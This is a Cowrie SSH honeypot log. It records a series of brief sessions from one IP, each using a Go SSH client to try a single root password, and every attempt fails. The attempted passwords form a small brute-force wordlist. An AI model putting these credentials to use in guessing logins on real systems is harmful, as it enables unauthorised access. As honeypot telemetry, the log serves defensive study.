{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:12.476938Z","src_ip":"60.165.124.241","session":"fa27b8ff7251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123#qwe","message":"login attempt [root/123#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:13.230524Z","src_ip":"60.165.124.241","session":"fa27b8ff7251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:14.483539Z","src_ip":"60.165.124.241","session":"fa27b8ff7251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41888,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e2e689e3ca","protocol":"ssh","message":"New connection: 60.165.124.241:41888 (10.17.0.5:22) [session: d1e2e689e3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:14.703242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:14.709056Z","src_ip":"60.165.124.241","session":"d1e2e689e3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:14.946213Z","src_ip":"60.165.124.241","session":"d1e2e689e3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dbapp@2025","message":"login attempt [root/Dbapp@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:15.661793Z","src_ip":"60.165.124.241","session":"d1e2e689e3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:16.902151Z","src_ip":"60.165.124.241","session":"d1e2e689e3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44806,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4e474c235e","protocol":"ssh","message":"New connection: 60.165.124.241:44806 (10.17.0.5:22) [session: 6b4e474c235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:17.132846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:17.137786Z","src_ip":"60.165.124.241","session":"6b4e474c235e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:17.373658Z","src_ip":"60.165.124.241","session":"6b4e474c235e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123@","message":"login attempt [root/root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:18.089230Z","src_ip":"60.165.124.241","session":"6b4e474c235e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:19.327444Z","src_ip":"60.165.124.241","session":"6b4e474c235e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3268b5938cdc","protocol":"ssh","message":"New connection: 60.165.124.241:48008 (10.17.0.5:22) [session: 3268b5938cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:19.578674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:19.582965Z","src_ip":"60.165.124.241","session":"3268b5938cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:19.828131Z","src_ip":"60.165.124.241","session":"3268b5938cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qweR","message":"login attempt [root/1234qweR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:20.570071Z","src_ip":"60.165.124.241","session":"3268b5938cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:21.830904Z","src_ip":"60.165.124.241","session":"3268b5938cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51216,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d8304e10f9","protocol":"ssh","message":"New connection: 60.165.124.241:51216 (10.17.0.5:22) [session: 81d8304e10f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:22.056998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:22.062088Z","src_ip":"60.165.124.241","session":"81d8304e10f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:22.299713Z","src_ip":"60.165.124.241","session":"81d8304e10f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!@#","message":"login attempt [root/Password123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:23.038793Z","src_ip":"60.165.124.241","session":"81d8304e10f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:24.284677Z","src_ip":"60.165.124.241","session":"81d8304e10f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e96ed130c879","protocol":"ssh","message":"New connection: 60.165.124.241:54078 (10.17.0.5:22) [session: e96ed130c879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:24.521733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:24.526505Z","src_ip":"60.165.124.241","session":"e96ed130c879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:24.766327Z","src_ip":"60.165.124.241","session":"e96ed130c879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dupadupa","message":"login attempt [root/dupadupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:25.510192Z","src_ip":"60.165.124.241","session":"e96ed130c879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:26.766712Z","src_ip":"60.165.124.241","session":"e96ed130c879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57228,"dst_ip":"10.17.0.5","dst_port":22,"session":"326db0faab15","protocol":"ssh","message":"New connection: 60.165.124.241:57228 (10.17.0.5:22) [session: 326db0faab15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:27.014882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:27.020561Z","src_ip":"60.165.124.241","session":"326db0faab15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:27.261458Z","src_ip":"60.165.124.241","session":"326db0faab15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234@","message":"login attempt [root/Root1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:28.006845Z","src_ip":"60.165.124.241","session":"326db0faab15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:29.258529Z","src_ip":"60.165.124.241","session":"326db0faab15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60254,"dst_ip":"10.17.0.5","dst_port":22,"session":"cefada9900d4","protocol":"ssh","message":"New connection: 60.165.124.241:60254 (10.17.0.5:22) [session: cefada9900d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:29.505039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:29.509725Z","src_ip":"60.165.124.241","session":"cefada9900d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:29.750006Z","src_ip":"60.165.124.241","session":"cefada9900d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZZZidc2025","message":"login attempt [root/ZZZidc2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:30.496489Z","src_ip":"60.165.124.241","session":"cefada9900d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:31.737617Z","src_ip":"60.165.124.241","session":"cefada9900d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35232,"dst_ip":"10.17.0.5","dst_port":22,"session":"8975e441652b","protocol":"ssh","message":"New connection: 60.165.124.241:35232 (10.17.0.5:22) [session: 8975e441652b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:31.979833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:31.984648Z","src_ip":"60.165.124.241","session":"8975e441652b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:32.239232Z","src_ip":"60.165.124.241","session":"8975e441652b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456..","message":"login attempt [root/AA123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:32.974179Z","src_ip":"60.165.124.241","session":"8975e441652b","protocol":"ssh"}
